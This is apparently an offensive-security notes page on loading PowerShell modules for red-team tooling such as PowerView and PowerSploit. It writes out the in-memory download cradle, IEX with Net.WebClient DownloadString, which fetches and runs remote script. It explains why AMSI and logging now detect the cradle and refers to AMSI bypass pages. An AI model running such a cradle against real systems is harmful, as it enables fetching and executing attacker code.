Working with PowerShell Modules

A PowerShell module is a package of cmdlets, functions, and scripts. For offense, modules are how tooling like PowerView and PowerSploit is loaded; knowing the load and introspection mechanics is table stakes. Microsoft’s about_Modules and the Import-Module reference are the authoritative docs.

Import and introspect

# Import a module — by name (resolved against $env:PSModulePath)
# or by explicit file path to a .psd1/.psm1/.dll
Import-Module $MODULE
 
# List the commands a module exports (what did I just load?)
Get-Command -Module $MODULE
 
# List loaded / available modules
Get-Module
Get-Module -ListAvailable

Get-Command -Module is the recon step after loading a toolkit: it enumerates exactly which cmdlets the module added to the session, so you know what offensive functions are now callable.

In-memory remote loading (the download cradle)

The classic offensive pattern pulls a module from a URL straight into memory, never touching disk:

IEX ((New-Object Net.WebClient).DownloadString("$URL"))

IEX (Invoke-Expression) executes the downloaded script text in the current runspace. Because no file is written, this historically evaded signature-based AV that only scanned on-disk artifacts. It is now heavily signatured: AMSI inspects the script content in memory before execution, and the DownloadString+IEX cradle itself is one of the most-detected strings in PowerShell logging. Expect it to be caught by modern EDR and by Script Block Logging; see invoke-webrequest-download-cradles for the family of variants and amsi-bypass for why the naive form usually fails today.

Practical notes

  • Modules on disk are found via the PSModulePath environment variable; drop a module into one of those directories and Import-Module resolves it by name alone.
  • Import-Module runs the module’s code with the current user’s privileges — loading an attacker-supplied module into an elevated shell is itself the execution step.

Sources